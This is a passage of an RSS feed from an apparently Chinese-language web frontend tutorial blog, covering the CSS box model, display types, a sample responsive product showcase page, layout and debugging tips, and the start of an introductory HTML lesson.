&lt;td&gt;高度&lt;/td&gt;
&lt;td&gt;可设置&lt;/td&gt;
&lt;td&gt;不可设置&lt;/td&gt;
&lt;td&gt;可设置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;边距&lt;/td&gt;
&lt;td&gt;所有方向有效&lt;/td&gt;
&lt;td&gt;仅水平方向有效&lt;/td&gt;
&lt;td&gt;所有方向有效&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;典型元素&lt;/td&gt;
&lt;td&gt;div, p, h1-h6&lt;/td&gt;
&lt;td&gt;span, a, strong&lt;/td&gt;
&lt;td&gt;img, button&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;换行&lt;/td&gt;
&lt;td&gt;始终换行&lt;/td&gt;
&lt;td&gt;不换行&lt;/td&gt;
&lt;td&gt;不换行但可设置尺寸&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;使用display属性转换元素类型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 将链接转换为块级元素 */
a.nav-link {
  display: block;
  padding: 10px;
}

/* 创建行内块元素 */
.icon {
  display: inline-block;
  width: 30px;
  height: 30px;
  margin-right: 10px;
}

/* 隐藏元素 */
.hidden {
  display: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;display: inline-block的妙用&lt;/h3&gt;
&lt;p&gt;行内块元素结合了块级和行内元素的优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以设置宽高&lt;/li&gt;
&lt;li&gt;可以设置垂直边距&lt;/li&gt;
&lt;li&gt;元素水平排列不换行&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 创建水平导航菜单 */
.nav-item {
  display: inline-block;
  width: 100px;
  text-align: center;
  padding: 10px;
  background: #3498db;
  color: white;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第四部分：实战应用 - 创建响应式产品展示页&lt;/h2&gt;
&lt;p&gt;让我们运用所学知识创建一个完整的电商产品展示页：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;精品数码商城 - 盒子模型实战&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        /* === 全局重置与基础设置 === */
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }

        body {
            font-family: &apos;Helvetica Neue&apos;, Arial, sans-serif;
            line-height: 1.6;
            color: #333;
            background-color: #f8f9fa;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 15px;
        }

        /* === 头部样式 === */
        header {
            background: linear-gradient(to right, #2c3e50, #4a69bd);
            color: white;
            padding: 20px 0;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            position: sticky;
            top: 0;
            z-index: 100;
        }

        .header-content {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .logo {
            font-size: 1.8rem;
            font-weight: bold;
            letter-spacing: 1px;
        }

        /* 导航栏 - 使用inline-block */
        .nav-menu {
            display: flex;
            list-style: none;
        }

        .nav-item {
            margin-left: 25px;
        }

        .nav-link {
            color: white;
            text-decoration: none;
            font-weight: 500;
            padding: 8px 5px;
            position: relative;
            display: inline-block;
        }

        .nav-link::after {
            content: &apos;&apos;;
            position: absolute;
            bottom: 0;
            left: 0;
            width: 0;
            height: 2px;
            background-color: #f1c40f;
            transition: width 0.3s ease;
        }

        .nav-link:hover::after {
            width: 100%;
        }

        /* === 横幅区域 === */
        .hero {
            background: linear-gradient(rgba(0,0,0,0.6), url(&apos;data:image/svg+xml;utf8,&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;100&quot; height=&quot;100&quot; viewBox=&quot;0 0 100 100&quot;&amp;gt;&amp;lt;rect width=&quot;50&quot; height=&quot;50&quot; fill=&quot;%234a69bd&quot;/&amp;gt;&amp;lt;rect x=&quot;50&quot; width=&quot;50&quot; height=&quot;50&quot; fill=&quot;%232c3e50&quot;/&amp;gt;&amp;lt;rect y=&quot;50&quot; width=&quot;50&quot; height=&quot;50&quot; fill=&quot;%232c3e50&quot;/&amp;gt;&amp;lt;rect x=&quot;50&quot; y=&quot;50&quot; width=&quot;50&quot; height=&quot;50&quot; fill=&quot;%234a69bd&quot;/&amp;gt;&amp;lt;/svg&amp;gt;&apos;);
            background-size: cover;
            background-position: center;
            color: white;
            text-align: center;
            padding: 80px 20px;
            margin-bottom: 40px;
        }

        .hero h1 {
            font-size: 2.5rem;
            margin-bottom: 20px;
            text-shadow: 0 2px 4px rgba(0,0,0,0.3);
        }

        .hero p {
            font-size: 1.2rem;
            max-width: 700px;
            margin: 0 auto 30px;
        }

        .btn {
            display: inline-block;
            background-color: #f1c40f;
            color: #2c3e50;
            padding: 12px 30px;
            border-radius: 30px;
            text-decoration: none;
            font-weight: bold;
            transition: all 0.3s ease;
            border: 2px solid transparent;
        }

        .btn:hover {
            background-color: transparent;
            border-color: #f1c40f;
            color: #f1c40f;
        }

        /* === 产品网格 === */
        .section-title {
            text-align: center;
            margin: 40px 0 30px;
            color: #2c3e50;
            position: relative;
            padding-bottom: 15px;
        }

        .section-title::after {
            content: &apos;&apos;;
            position: absolute;
            bottom: 0;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 4px;
            background-color: #f1c40f;
            border-radius: 2px;
        }

        .products-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
            gap: 30px;
            margin-bottom: 50px;
        }

        /* 产品卡片 - 盒子模型综合应用 */
        .product-card {
            background: white;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.08);
            transition: transform 0.3s ease, box-shadow 0.3s ease;
            display: flex;
            flex-direction: column;
            height: 100%;
        }

        .product-card:hover {
            transform: translateY(-10px);
            box-shadow: 0 15px 30px rgba(0,0,0,0.15);
        }

        .product-img {
            height: 200px;
            background-color: #f5f5f5;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }

        .product-content {
            padding: 20px;
            flex-grow: 1;
            display: flex;
            flex-direction: column;
        }

        .product-title {
            font-size: 1.3rem;
            margin-bottom: 10px;
            color: #2c3e50;
        }

        .product-price {
            color: #e74c3c;
            font-size: 1.4rem;
            font-weight: bold;
            margin: 10px 0;
        }

        .product-description {
            color: #666;
            margin-bottom: 20px;
            flex-grow: 1;
        }

        .product-meta {
            display: flex;
            justify-content: space-between;
            margin-top: auto;
            padding-top: 15px;
            border-top: 1px solid #eee;
            color: #7f8c8d;
            font-size: 0.9rem;
        }

        /* === 特色产品区 === */
        .featured-product {
            display: flex;
            background: white;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 10px 30px rgba(0,0,0,0.1);
            margin-bottom: 50px;
        }

        .featured-img {
            flex: 0 0 50%;
            min-height: 400px;
            background-color: #e0e7ff;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .featured-content {
            flex: 1;
            padding: 40px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }

        /* === 页脚 === */
        footer {
            background-color: #2c3e50;
            color: #ecf0f1;
            padding: 40px 0 20px;
        }

        .footer-content {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 30px;
            margin-bottom: 30px;
        }

        .footer-column h3 {
            color: #f1c40f;
            margin-bottom: 20px;
            position: relative;
            padding-bottom: 10px;
        }

        .footer-column h3::after {
            content: &apos;&apos;;
            position: absolute;
            bottom: 0;
            left: 0;
            width: 50px;
            height: 2px;
            background-color: #f1c40f;
        }

        .footer-column ul {
            list-style: none;
        }

        .footer-column li {
            margin-bottom: 10px;
        }

        .footer-column a {
            color: #bdc3c7;
            text-decoration: none;
            transition: color 0.3s;
        }

        .footer-column a:hover {
            color: #f1c40f;
        }

        .copyright {
            text-align: center;
            padding-top: 20px;
            border-top: 1px solid #34495e;
            color: #95a5a6;
            font-size: 0.9rem;
        }

        /* === 响应式设计 === */
        @media (max-width: 768px) {
            .header-content {
                flex-direction: column;
                text-align: center;
            }

            .nav-menu {
                margin-top: 20px;
                justify-content: center;
            }

            .nav-item {
                margin: 0 10px;
            }

            .featured-product {
                flex-direction: column;
            }

            .featured-img {
                min-height: 300px;
            }
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- 头部导航 --&amp;gt;
    &amp;lt;header&amp;gt;
        &amp;lt;div class=&quot;container header-content&quot;&amp;gt;
            &amp;lt;div class=&quot;logo&quot;&amp;gt;TechShop&amp;lt;/div&amp;gt;
            &amp;lt;ul class=&quot;nav-menu&quot;&amp;gt;
                &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;nav-link&quot;&amp;gt;首页&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;nav-link&quot;&amp;gt;产品&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;nav-link&quot;&amp;gt;优惠活动&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;nav-link&quot;&amp;gt;技术支持&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                &amp;lt;li class=&quot;nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;nav-link&quot;&amp;gt;联系我们&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;/ul&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/header&amp;gt;

    &amp;lt;!-- 主横幅 --&amp;gt;
    &amp;lt;section class=&quot;hero&quot;&amp;gt;
        &amp;lt;div class=&quot;container&quot;&amp;gt;
            &amp;lt;h1&amp;gt;探索尖端科技产品&amp;lt;/h1&amp;gt;
            &amp;lt;p&amp;gt;从智能手机到智能家居，我们提供最新最酷的科技产品，让您的生活更便捷、更智能&amp;lt;/p&amp;gt;
            &amp;lt;a href=&quot;#&quot; class=&quot;btn&quot;&amp;gt;查看热门产品&amp;lt;/a&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/section&amp;gt;

    &amp;lt;!-- 产品网格 --&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;热销产品&amp;lt;/h2&amp;gt;
        &amp;lt;div class=&quot;products-grid&quot;&amp;gt;
            &amp;lt;!-- 产品卡片 1 --&amp;gt;
            &amp;lt;div class=&quot;product-card&quot;&amp;gt;
                &amp;lt;div class=&quot;product-img&quot;&amp;gt;
                    &amp;lt;div style=&quot;font-size: 3rem; color: #3498db;&quot;&amp;gt;📱&amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;product-content&quot;&amp;gt;
                    &amp;lt;h3 class=&quot;product-title&quot;&amp;gt;超薄智能手机 X10&amp;lt;/h3&amp;gt;
                    &amp;lt;p class=&quot;product-description&quot;&amp;gt;6.7英寸AMOLED显示屏，骁龙888处理器，1亿像素主摄，5000mAh大电池&amp;lt;/p&amp;gt;
                    &amp;lt;div class=&quot;product-price&quot;&amp;gt;¥3,999&amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;product-meta&quot;&amp;gt;
                        &amp;lt;span&amp;gt;⭐ 4.8 (1200+评价)&amp;lt;/span&amp;gt;
                        &amp;lt;span&amp;gt;🔥 热卖中&amp;lt;/span&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;!-- 产品卡片 2 --&amp;gt;
            &amp;lt;div class=&quot;product-card&quot;&amp;gt;
                &amp;lt;div class=&quot;product-img&quot;&amp;gt;
                    &amp;lt;div style=&quot;font-size: 3rem; color: #e74c3c;&quot;&amp;gt;💻&amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;product-content&quot;&amp;gt;
                    &amp;lt;h3 class=&quot;product-title&quot;&amp;gt;轻薄笔记本电脑 AirBook Pro&amp;lt;/h3&amp;gt;
                    &amp;lt;p class=&quot;product-description&quot;&amp;gt;13.3英寸Retina显示屏，M1芯片，16GB内存，512GB SSD，18小时续航&amp;lt;/p&amp;gt;
                    &amp;lt;div class=&quot;product-price&quot;&amp;gt;¥9,999&amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;product-meta&quot;&amp;gt;
                        &amp;lt;span&amp;gt;⭐ 4.9 (850+评价)&amp;lt;/span&amp;gt;
                        &amp;lt;span&amp;gt;🆕 新品上市&amp;lt;/span&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;!-- 产品卡片 3 --&amp;gt;
            &amp;lt;div class=&quot;product-card&quot;&amp;gt;
                &amp;lt;div class=&quot;product-img&quot;&amp;gt;
                    &amp;lt;div style=&quot;font-size: 3rem; color: #2ecc71;&quot;&amp;gt;⌚&amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;product-content&quot;&amp;gt;
                    &amp;lt;h3 class=&quot;product-title&quot;&amp;gt;智能健康手表 FitPro 3&amp;lt;/h3&amp;gt;
                    &amp;lt;p class=&quot;product-description&quot;&amp;gt;血氧监测，心率预警，睡眠分析，50米防水，30天续航，运动模式&amp;lt;/p&amp;gt;
                    &amp;lt;div class=&quot;product-price&quot;&amp;gt;¥1,299&amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;product-meta&quot;&amp;gt;
                        &amp;lt;span&amp;gt;⭐ 4.7 (2300+评价)&amp;lt;/span&amp;gt;
                        &amp;lt;span&amp;gt;🔝 畅销款&amp;lt;/span&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;!-- 产品卡片 4 --&amp;gt;
            &amp;lt;div class=&quot;product-card&quot;&amp;gt;
                &amp;lt;div class=&quot;product-img&quot;&amp;gt;
                    &amp;lt;div style=&quot;font-size: 3rem; color: #9b59b6;&quot;&amp;gt;🎧&amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;product-content&quot;&amp;gt;
                    &amp;lt;h3 class=&quot;product-title&quot;&amp;gt;无线降噪耳机 SoundMax&amp;lt;/h3&amp;gt;
                    &amp;lt;p class=&quot;product-description&quot;&amp;gt;主动降噪技术，30小时续航，通透模式，IPX5防水，Hi-Fi音质&amp;lt;/p&amp;gt;
                    &amp;lt;div class=&quot;product-price&quot;&amp;gt;¥899&amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;product-meta&quot;&amp;gt;
                        &amp;lt;span&amp;gt;⭐ 4.6 (1800+评价)&amp;lt;/span&amp;gt;
                        &amp;lt;span&amp;gt;🎯 限时优惠&amp;lt;/span&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;!-- 特色产品 --&amp;gt;
        &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;本周特色产品&amp;lt;/h2&amp;gt;
        &amp;lt;div class=&quot;featured-product&quot;&amp;gt;
            &amp;lt;div class=&quot;featured-img&quot;&amp;gt;
                &amp;lt;div style=&quot;font-size: 5rem; color: #3498db;&quot;&amp;gt;📷&amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;featured-content&quot;&amp;gt;
                &amp;lt;h2&amp;gt;专业无反相机 Alpha Z9&amp;lt;/h2&amp;gt;
                &amp;lt;p class=&quot;product-description&quot;&amp;gt;全画幅45MP传感器，8K视频录制，15档动态范围，5轴防抖系统，实时眼控对焦&amp;lt;/p&amp;gt;
                &amp;lt;div class=&quot;product-price&quot;&amp;gt;¥21,999&amp;lt;/div&amp;gt;
                &amp;lt;p style=&quot;margin: 15px 0;&quot;&amp;gt;专业级摄影解决方案，满足摄影师对画质和性能的极致追求。全新开发的图像处理器提供惊人的细节表现和色彩还原能力。&amp;lt;/p&amp;gt;
                &amp;lt;ul style=&quot;margin: 15px 0 25px; padding-left: 20px;&quot;&amp;gt;
                    &amp;lt;li&amp;gt;全新45MP背照式CMOS传感器&amp;lt;/li&amp;gt;
                    &amp;lt;li&amp;gt;8K 30p/4K 120p视频拍摄&amp;lt;/li&amp;gt;
                    &amp;lt;li&amp;gt;120fps高速连拍&amp;lt;/li&amp;gt;
                    &amp;lt;li&amp;gt;双卡槽设计，支持CFexpress A型卡&amp;lt;/li&amp;gt;
                &amp;lt;/ul&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;btn&quot;&amp;gt;立即购买&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;!-- 页脚 --&amp;gt;
    &amp;lt;footer&amp;gt;
        &amp;lt;div class=&quot;container&quot;&amp;gt;
            &amp;lt;div class=&quot;footer-content&quot;&amp;gt;
                &amp;lt;div class=&quot;footer-column&quot;&amp;gt;
                    &amp;lt;h3&amp;gt;关于我们&amp;lt;/h3&amp;gt;
                    &amp;lt;p&amp;gt;TechShop成立于2010年，致力于为消费者提供最新最优质的科技产品，打造卓越的购物体验。&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;

                &amp;lt;div class=&quot;footer-column&quot;&amp;gt;
                    &amp;lt;h3&amp;gt;快速链接&amp;lt;/h3&amp;gt;
                    &amp;lt;ul&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;首页&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;所有产品&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;最新优惠&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;配送信息&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;隐私政策&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                    &amp;lt;/ul&amp;gt;
                &amp;lt;/div&amp;gt;

                &amp;lt;div class=&quot;footer-column&quot;&amp;gt;
                    &amp;lt;h3&amp;gt;客户服务&amp;lt;/h3&amp;gt;
                    &amp;lt;ul&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;联系我们&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;常见问题&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;退换政策&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;维修服务&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;订单追踪&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
                    &amp;lt;/ul&amp;gt;
                &amp;lt;/div&amp;gt;

                &amp;lt;div class=&quot;footer-column&quot;&amp;gt;
                    &amp;lt;h3&amp;gt;联系我们&amp;lt;/h3&amp;gt;
                    &amp;lt;ul&amp;gt;
                        &amp;lt;li&amp;gt;📞 客服热线: 400-888-8888&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;✉️ 邮箱: service@techshop.com&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;📍 地址: 北京市海淀区科技园区88号&amp;lt;/li&amp;gt;
                        &amp;lt;li&amp;gt;🕒 营业时间: 9:00-21:00&amp;lt;/li&amp;gt;
                    &amp;lt;/ul&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;div class=&quot;copyright&quot;&amp;gt;
                &amp;lt;p&amp;gt;© 2023 TechShop 精品数码商城. 保留所有权利。京ICP备12345678号&amp;lt;/p&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/footer&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;本教程核心技术应用&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;box-sizing: border-box&lt;/strong&gt;&lt;br /&gt;
全局应用确保尺寸计算一致&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;display: inline-block&lt;/strong&gt;&lt;br /&gt;
导航菜单项使用inline-block实现水平排列&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;外边距管理&lt;/strong&gt;&lt;br /&gt;
使用padding替代外边距避免合并问题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexbox布局&lt;/strong&gt;&lt;br /&gt;
头部内容和特色产品区使用Flexbox&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Grid布局&lt;/strong&gt;&lt;br /&gt;
产品网格和页脚内容使用CSS Grid&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;响应式设计&lt;/strong&gt;&lt;br /&gt;
使用媒体查询适配移动设备&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;第五部分：布局技巧与最佳实践&lt;/h2&gt;
&lt;h3&gt;1. 元素居中技巧汇总&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;水平居中&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 块级元素 */
margin: 0 auto;

/* 行内/行内块元素 */
text-align: center; /* 在父元素设置 */

/* Flexbox */
display: flex;
justify-content: center;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;垂直居中&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 单行文本 */
line-height: 与容器高度相同;

/* Flexbox */
display: flex;
align-items: center;

/* Grid */
display: grid;
place-items: center;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;完全居中&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Flexbox */
display: flex;
justify-content: center;
align-items: center;

/* Grid */
display: grid;
place-items: center;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 间距管理黄金法则&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;8点网格系统&lt;/strong&gt;：使用8px倍数作为间距单位&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;垂直节奏&lt;/strong&gt;：保持垂直间距一致（如24px）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;嵌套间距&lt;/strong&gt;：内部间距小于外部间距&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;视觉平衡&lt;/strong&gt;：增加重点元素周围空间&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. 调试布局的专家技巧&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;临时边框法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* { border: 1px solid red !important; }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Chrome开发者工具&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检查元素盒模型&lt;/li&gt;
&lt;li&gt;实时编辑CSS&lt;/li&gt;
&lt;li&gt;可视化Flexbox/Grid布局&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS Outline&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.debug {
  outline: 2px dashed blue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;总结与预告&lt;/h2&gt;
&lt;p&gt;今天，我们深入掌握了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;box-sizing的两种模式与最佳实践&lt;/li&gt;
&lt;li&gt;外边距合并现象及解决方案&lt;/li&gt;
&lt;li&gt;块级、行内与行内块元素的特性&lt;/li&gt;
&lt;li&gt;创建了完整的响应式产品展示页&lt;/li&gt;
&lt;li&gt;布局技巧与调试方法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在第五篇教程中，我们将探索：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;居中布局的完整解决方案&lt;/li&gt;
&lt;li&gt;Chrome开发者工具深度使用指南&lt;/li&gt;
&lt;li&gt;常见布局问题与修复技巧&lt;/li&gt;
&lt;li&gt;响应式设计原则&lt;/li&gt;
&lt;li&gt;实战：构建个人作品集页面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;挑战任务&lt;/strong&gt;：在产品展示页中添加一个&quot;相关配件&quot;区域，使用行内块元素展示配件产品，并确保间距均匀。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;布局是CSS的核心艺术。理解盒子模型，掌握显示类型，你就能创建任何你想象的界面！&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;期待在下一篇教程中与你继续探索CSS的奇妙世界！&lt;/p&gt;
</content:encoded></item><item><title>掌握盒子模型</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-box-model-basics/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-box-model-basics/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：欢迎来到前端开发的世界！&lt;/h2&gt;
&lt;p&gt;你好，未来的前端开发者！无论你是想转行进入技术领域，还是想为自己的项目创建精美网页，这个系列教程都将带你从零开始，一步步掌握网页开发的核心技能。今天，我们从最基础的HTML开始，一起搭建你的第一个网页！&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一部分：HTML - 网页的骨架&lt;/h2&gt;
&lt;h3&gt;什么是HTML？&lt;/h3&gt;
&lt;p&gt;HTML（超文本标记语言）是构建所有网页的基础。它就像建筑物的钢筋骨架，定义了网页的结构和内容。&lt;/p&gt;
&lt;h3&gt;创建你的第一个HTML文件&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;在你的电脑上新建一个文本文件&lt;/li&gt;
&lt;li&gt;将文件名改为 &lt;code&gt;index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用文本编辑器（如VS Code、Sublime或记事本）打开它&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;HTML文档的基本结构&lt;/h3&gt;
&lt;p&gt;每个HTML文档都遵循这个基础结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;我的第一个网页&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- 这里放网页内容 --&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/code&gt; 告诉浏览器这是HTML5文档&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; 是整个页面的根元素&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; 包含元信息，不会显示在页面上&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 包含所有可见内容&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常用HTML标签详解&lt;/h3&gt;
&lt;h4&gt;标题标签：&lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;到&lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;标题标签用于创建不同级别的标题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;这是主标题&amp;lt;/h1&amp;gt;
